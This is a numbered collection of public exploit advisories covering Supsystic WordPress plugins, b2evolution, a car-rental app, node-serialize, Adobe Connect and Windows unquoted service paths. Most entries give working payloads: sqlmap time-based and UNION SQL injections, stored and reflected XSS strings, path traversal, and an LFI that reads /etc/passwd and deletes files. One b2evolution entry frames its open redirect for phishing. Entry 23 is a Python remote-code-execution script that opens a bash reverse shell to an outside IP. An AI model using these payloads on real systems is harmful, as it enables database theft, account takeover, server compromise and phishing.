  13. # Exploit Title: WordPress Plugin Supsystic Membership 1.4.7 - 'sidx' SQL injection # Date: 09/08/2020 # Exploit Author: Erik David Martin # Vendor Homepage: https://supsystic.com/ # Software Link: https://downloads.wordpress.org/plugin/membership-by-supsystic.1.4.7.zip # Version: 1.4.7 # Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2 # 25/07 2020: Vendor notified # 27/07 2020: Vendor requested detailed information # 27/07 2020: Information provided # 07/08 2020: Nudged vendor. No reply # 22/08 2020: Nudged vendor. No reply # 04/10 2020: Nudged vendor. No reply # 29/11 2020: WordPress Plugin Security team contacted # 22/12 2020: Vulnerability fixed # 1. Description The GET parameters "search" and "sidx" does not sanitize user input when searching for badges. # 2. Proof of Concept (PoC) Use ZAP/Burp to capture the web request when searching for data and save it to request.txt Referer: http://192.168.0.63/wp-admin/admin.php?page=supsystic-membership&module=badges&action=index sqlmap -r request.txt --dbms=mysql -p search Parameter: search (GET) Type: time-based blind Payload: route=badges.getTblList&wpnonce=729ac6199a&action=supsystic-membership&search=s' AND (SELECT 8958 FROM (SELECT(SLEEP(5)))oBIL) AND 'trjK'='trjK&_search=false&nd=1596991012186&rows=10&page=0&sidx=id&sord=desc Type: UNION query Payload: route=badges.getTblList&wpnonce=729ac6199a&action=supsystic-membership&search=s' UNION ALL SELECT NULL,CONCAT(0x71786a6b71,0x6569796370704c625352574e6e424874456a74457847635473525a466d47576f775a46446b4e7055,0x716a7a6a71),NULL,NULL-- -&_search=false&nd=1596991012186&rows=10&page=0&sidx=id&sord=desc
  14. # Exploit Title: WordPress Plugin Supsystic Digital Publications 1.6.9 - Multiple Vulnerabilities # Date: 24/07/2020 # Exploit Author: Erik David Martin # Vendor Homepage: https://supsystic.com/ # Software Link: https://downloads.wordpress.org/plugin/digital-publications-by-supsystic.1.6.9.zip # Version: 1.6.9 # Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2 # 25/07 2020: Vendor notified # 27/07 2020: Vendor requested detailed information # 27/07 2020: Information provided # 07/08 2020: Nudged vendor. No reply # 22/08 2020: Nudged vendor. No reply # 04/10 2020: Nudged vendor. No reply # 29/11 2020: WordPress Plugin Security team contacted # 20/12 2020: Vulnerability fixed ################################## Path Traversal and DoS ################################## # 1. Description The "Folder" tab under "Publications" is vulnerable to path traversal and exposes information not stored on the web server. The user can gain information regarding images stored in, for example, home directories. The vulnerable code is in the utils.php file, which uses readdir(). # 2. Proof of Concept (PoC) Enter the payload into the "Folder" input field: ../../../../../../../../../home/erik However, if the web server attempts to open a folder without read access, the function will run in an infinite loop. For example: ../../../../../../../../../root The web server will execute the code in an infinite loop and store massive amounts of data in the error.log file until the hard drive is full. The import Folder feature does not work anymore after trying to open directories without read permission when using path traversal techniques. Apache error.log file output: [Fri Jul 24 20:45:43.739704 2020] [:error] [pid 3516] [client 192.168.0.51:47892] PHP Warning: readdir() expects parameter 1 to be resource, boolean given in /var/www/wordpress/wp-content/plugins/digital-publications-by-supsystic/classes/utils.php on line 137, referer: http://192.168.0.49/wp-admin/term.php?taxonomy=dps_book&tag_ID=16&post_type=post&wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Ddps_book ################################## Stored XSS ################################## # 1. Description When adding a new publication under the section "Publications", all values such as Area Width, Publication Width and so on are vulnerable to stored XSS. It is possible to store code in all input fields as the code does not sanitize any user input. # 2. Proof of Concept (PoC) Enter the following payload into any input field: "><script>alert(1)</script><!--' The payload is stored in the publication details and will be executed whenever the user views the "Publications" page or edits a publication.
  15. # Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.5 - Multiple Vulnerabilities # Date: 24/07/2020 # Exploit Author: Erik David Martin # Vendor Homepage: https://supsystic.com/ # Software Link: https://downloads.wordpress.org/plugin/contact-form-by-supsystic.1.7.5.zip # Version: 1.7.5 # Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2 # 25/07 2020: Vendor notified # 27/07 2020: Vendor requested detailed information # 27/07 2020: Information provided # 07/08 2020: Nudged vendor. No reply # 22/08 2020: Nudged vendor. No reply # 04/10 2020: Nudged vendor. No reply # 29/11 2020: WordPress Plugin Security team contacted # 10/12 2020: Vulnerability fixed ################################## SQLi ################################## # 1. Description The GET parameter "sidx" does not sanitize user input when searching for existing contact forms. # 2. Proof of Concept (PoC) Use ZAP/Burp to capture the web request when searching for existing contact forms and save it to request.txt Referer: http://192.168.0.49/wp-admin/admin.php?page=contact-form-supsystic sqlmap -r request.txt --dbms=mysql -p sidx --level=5 Parameter: sidx (GET) Type: boolean-based blind Payload: mod=forms&action=getListForTbl&pl=cfs&reqType=ajax&search[text_like]=t&_search=false&nd=1595781461778&rows=10&page=1&sidx=(SELECT (CASE WHEN (9602=9602) THEN 0x6964 ELSE (SELECT 9695 UNION SELECT 1181) END))&sord=desc Type: time-based blind Payload: mod=forms&action=getListForTbl&pl=cfs&reqType=ajax&search[text_like]=t&_search=false&nd=1595781461778&rows=10&page=1&sidx=id AND (SELECT 4102 FROM (SELECT(SLEEP(5)))vOKL)&sord=desc ################################## Stored XSS ################################## # 1. Description The "Edit name" and "Contact information" features are vulnerable to stored XXS. Location: http://192.168.0.49/wp-admin/admin.php?page=contact-form-supsystic&tab=forms_edit&id=[FORM ID] # 2. Proof of Concept (PoC) Enter the following payload into the "Edit" field in the top left corner: "><script>alert(1)</script><!--' The payload will execute when viewing the "Show All Forms" section. Referer: http://192.168.0.49/wp-admin/admin.php?page=contact-form-supsystic&tab=forms
  16. # Exploit Title: WordPress Plugin Supsystic Data Tables Generator 1.9.96 - Multiple Vulnerabilities # Date: 24/07/2020 # Exploit Author: Erik David Martin # Vendor Homepage: https://supsystic.com/ # Software Link: https://downloads.wordpress.org/plugin/data-tables-generator-by-supsystic.1.9.96.zip # Category: Web Application # Version: 1.9.96 # Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2 # 25/07 2020: Vendor notified # 27/07 2020: Vendor requested detailed information # 27/07 2020: Information provided # 07/08 2020: Nudged vendor. No reply # 22/08 2020: Nudged vendor. No reply # 04/10 2020: Nudged vendor. No reply # 29/11 2020: WordPress Plugin Security team contacted # 08/12 2020: Vulnerability fixed ################################## SQLi ################################## # 1. Description The POST parameter "data[search][text_like]" does not sanitize user input when searching for data. # 2. Proof of Concept (PoC) Use ZAP/Burp to capture the web request when searching for data and save it to request.txt Referer: http://192.168.0.49/wp-admin/admin.php?page=supsystic-tables sqlmap -r request.txt --dbms=mysql -p data[search][text_like] Parameter: data[search][text_like] (POST) Type: time-based blind Payload: route[module]=tables&route[action]=getListForTbl&route[nonce]=5fc3d66b71&data[search][text_like]=t' AND (SELECT 4736 FROM (SELECT(SLEEP(5)))iAJy) AND 'iAVl'='iAVl&data[_search]=false&data[nd]=1595781752940&data[rows]=10&data[page]=1&data[sidx]=id&data[sord]=desc&action=supsystic-tables Type: UNION query Payload: route[module]=tables&route[action]=getListForTbl&route[nonce]=5fc3d66b71&data[search][text_like]=t' UNION ALL SELECT CONCAT(0x7170707871,0x487a436e5175474a64617446465349535248737249775445424671545a557367704b61424e6d6545,0x7178786b71),NULL-- -&data[_search]=false&data[nd]=1595781752940&data[rows]=10&data[page]=1&data[sidx]=id&data[sord]=desc&action=supsystic-tables ################################## Stored XSS ################################## # 1. Description The "Editor" tab under the "Tables" section is vulnerable to stored XSS. It is possible to store XSS in all input fields as the code does not sanitize any of the user input. # 2. Proof of Concept (PoC) Enter the following payload into any input field: "><script>alert(1)</script><!--' The payload is stored in the document and executes whenever a user visits the "Settings" tab or the document itself. The document is also cached by the plugin. Therefore, the payload can also be executed by any unauthenticated user visting http://192.168.0.49/wp-content/uploads/supsystic-tables/cache/tables/[YOUR TABLE NUMBER]
  17. # Exploit Title: Online Car Rental System 1.0 - Stored Cross Site Scripting # Date: 9/2/2021 # Exploit Author: Naved Shaikh # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/cc/14145/online-car-rental-system-using-phpmysql.html # Version: V 1.0 # Tested on Windows 10, XAMPP Steps: 1) Open http://localhost/car-rental/admin/post-avehical.php 2) Fill All the details on the page. After submitting, capture the request and change the "vehicalorcview" parameter with our Payload "<script>alert("CAR")</script>" and submit 3) Open the http://localhost/car-rental/ and our Payload excuted. Request POST /car-rental/admin/post-avehical.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------13786099262839578593645594965 Content-Length: 2724377 Origin: http://localhost Connection: close Referer: http://localhost/car-rental/admin/post-avehical.php Cookie: PHPSESSID=h5ubatunno8u9130c4eq77anf2 Upgrade-Insecure-Requests: 1 -----------------------------13786099262839578593645594965 Content-Disposition: form-data; name="vehicletitle" TestName -----------------------------13786099262839578593645594965 Content-Disposition: form-data; name="brandname" 2 -----------------------------13786099262839578593645594965 Content-Disposition: form-data; name="vehicalorcview" <script>alert("CAR")</script> -----------------------------13786099262839578593645594965 Content-Disposition: form-data; name="priceperday" 200 -----------------------------13786099262839578593645594965 Content-Disposition: form-data; name="fueltype" Diesel -----------------------------13786099262839578593645594965 Content-Disposition: form-data; name="modelyear" 2008 -----------------------------13786099262839578593645594965 Content-Disposition: form-data; name="seatingcapacity" 22 -----------------------------13786099262839578593645594965 Content-Disposition: form-data; name="img1"; filename="Untitled.png" Content-Type: image/png PNG -----------------------------13786099262839578593645594965 Content-Disposition: form-data; name="img5"; filename="" Content-Type: application/octet-stream -----------------------------13786099262839578593645594965 Content-Disposition: form-data; name="powerdoorlocks" 1 -----------------------------13786099262839578593645594965 Content-Disposition: form-data; name="antilockbrakingsys" 1 -----------------------------13786099262839578593645594965 Content-Disposition: form-data; name="driverairbag" 1 -----------------------------13786099262839578593645594965 Content-Disposition: form-data; name="passengerairbag" 1 -----------------------------13786099262839578593645594965 Content-Disposition: form-data; name="centrallocking" 1 -----------------------------13786099262839578593645594965 Content-Disposition: form-data; name="crashcensor" 1 -----------------------------13786099262839578593645594965 Content-Disposition: form-data; name="submit" -----------------------------13786099262839578593645594965--
  18. # Exploit Title: WordPress Plugin Supsystic Backup 2.3.9 - Local File Inclusion # Date: 24/07/2020 # Exploit Author: Erik David Martin # Vendor Homepage: https://supsystic.com/ # Software Link: https://downloads.wordpress.org/plugin/backup-by-supsystic.zip # Version: 2.3.9 # Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2 # 25/07 2020: Vendor notified # 27/07 2020: Vendor requested detailed information # 27/07 2020: Information provided # 07/08 2020: Nudged vendor. No reply # 22/08 2020: Nudged vendor. No reply # 04/10 2020: Nudged vendor. No reply. # 29/11 2020: WordPress Plugin Security team contacted # 01/12 2020: Plugin/Project closed by WordPress Security team # 1. Description Changing the path when downloading the stored backup allows an attacker to both read and delete internal system files (LFI). # 2. Proof of Concept (PoC) Create a backup. When downloading the backup, change its path: GET http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog&download=../../../../../../../../../etc/passwd The "Delete" tab also allows an attacker to delete files on the server: POST http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog Payload: reqType=ajax&page=backup&action=removeAction&filename=[FILE PATH]&deleteLog=1&pl=bup
  19. # Exploit Title: AnyTXT Searcher 1.2.394 - 'ATService' Unquoted Service Path # Date: 2020-12-11 # Exploit Author: Mohammed Alshehri # Vendor Homepage: Anytxt.net # Software Link: https://sourceforge.net/projects/anytxt/files/AnyTXT.Searcher.1.2.394.exe # Version: Version 1.2.394 # Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763 # Service info: C:\Users\m507>sc qc ATService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: ATService TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START (DELAYED) ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\AnyTXT Searcher\atservice.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : AnyTXT Searcher Indexing Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\m507>
  20. # Exploit Title: Epson USB Display 1.6.0.0 - 'EMP_UDSA' Unquoted Service Path # Discovery by: Hector Gerbacio # Discovery Date: 2021-02-05 # Vendor Homepage: https://epson.com.mx/ # Tested Version: 1.6.0.0 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 8.1 con Bing # Step to discover Unquoted Service Path: C:\>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\WINDOWS\\" | findstr /i "EMP_UDSA" | findstr /i /v """ EMP_UDSA EMP_UDSA C:\Program Files (x86)\EPSON Projector\Epson USB Display V1.6\EMP_UDSA.exe Auto # Service info: C:\>sc qc EMP_UDSA [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: EMP_UDSA TIPO : 110 WIN32_OWN_PROCESS (interactive) TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\EPSON Projector\Epson USB Display V1.6\EMP_UDSA.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : EMP_UDSA DEPENDENCIAS : RPCSS NOMBRE_INICIO_SERVICIO: LocalSystem
  21. # Title: Adobe Connect 10 - Username Disclosure # Author: h4shur # date:2021-02-07 # Vendor Homepage: https://www.adobe.com # Software Link: https://www.adobe.com/products/adobeconnect.html # Version: 10 and earlier # Tested on: Windows 10 & Google Chrome # Category : Web Application Bugs ### Description : By adding this (/system/help/support) to the end of the desired website address, you can view the username without any filter or obstacle. Sometimes even without a username and password. And by adding (/system/login) to the end of the desired website address, you can access the admin panel without any filters. ### POC : site.com/system/help/support ### Admin Panel : site.com/system/login
  22. # Exploit Title: b2evolution 6.11.6 - 'plugin name' Stored XSS # Date: 09/02/2021 # Exploit Author: Soham Bakore, Nakul Ratti # Vendor Homepage: https://b2evolution.net/ # Software Link: https://b2evolution.net/downloads/6-11-6-stable?download=12405 # Version: 6.11.6 # Tested on: latest version of Chrome, Firefox on Windows and Linux # CVE : CVE-2020-22841 --------------------------Proof of Concept----------------------- 1. Login with an account having high privileges 2. Navigate to System -> Plugins and select any plugin 3. Change the plugin name and enter the following payload "><svg/onload=alert(123)> in the name parameter 4. Payload gets stored in the database 5. The payload gets executed after the victim checks the plugin page. 6. This vulnerability needs high privilege and can affect other users with similar privileges
  23. # Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2) # Exploit Author: UndeadLarva # Software Link: https://www.npmjs.com/package/node-serialize # Version: 0.0.4 # CVE: CVE-2017-5941 import requests import re import base64 import sys url = 'http://192.168.100.133:8000/' # change this payload = ("require('http').ServerResponse.prototype.end = (function (end) {" "return function () {" "['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));" "console.log('still inside');" "const { exec } = require('child_process');" "exec('bash -i >& /dev/tcp/192.168.200.5/445 0>&1');" # change this "}" "})(require('http').ServerResponse.prototype.end)") # rce = "_$$ND_FUNC$$_process.exit(0)" # code ="_$$ND_FUNC$$_console.log('behind you')" code = "_$$ND_FUNC$$_" + payload string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}' cookie = {'profile':base64.b64encode(string)} try: response = requests.get(url, cookies=cookie).text print response except requests.exceptions.RequestException as e: print('Oops!') sys.exit(1)
  24. # Exploit Title: b2evolution 6.11.6 - 'tab3' Reflected XSS # CVE: CVE-2020-22839 # Date: 10/02/2021 # Exploit Author: Nakul Ratti, Soham Bakore # Vendor Homepage: https://b2evolution.net/ # Software Link: https://b2evolution.net/downloads/6-11-6-stable?download=12405 # Version: 6.11.6 # Tested on: latest version of Chrome, Firefox on Windows and Linux --------------------------Proof of Concept----------------------- Steps to Reproduce: 1. Send the following URL http://HOST/evoadm.php?.ctrl=comments&filter=restore&tab3=123%22onmouseover=%22alert(document.domain)%22&blog=1&blog=1 to the logged in victim using any social engineering technique. 2. When an unsuspecting user with high privileges opens this URL, XSS will be triggered which will execute the malicious javascript payload in users browser. 3. The vulnerable parameter in this case is “tab3”.
  25. # Exploit Title: b2evolution 6.11.6 - 'redirect_to' Open Redirect # Date: 10/02/2021 # Exploit Author: Soham Bakore, Nakul Ratti # Vendor Homepage: https://b2evolution.net/ # Software Link: https://b2evolution.net/downloads/6-11-6-stable?download=12405 # Version: 6.11.6 # Tested on: latest version of Chrome, Firefox on Windows and Linux # CVE : CVE-2020-22840 --------------------------Proof of Concept----------------------- 1. Send the following link : http://127.0.0.1/htsrv/email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Fgoogle.com to the unsuspecting user 2. The user will be redirected to Google.com or any other attacker controlled domain 3. This can be used to perform malicious phishing campaigns on unsuspecting users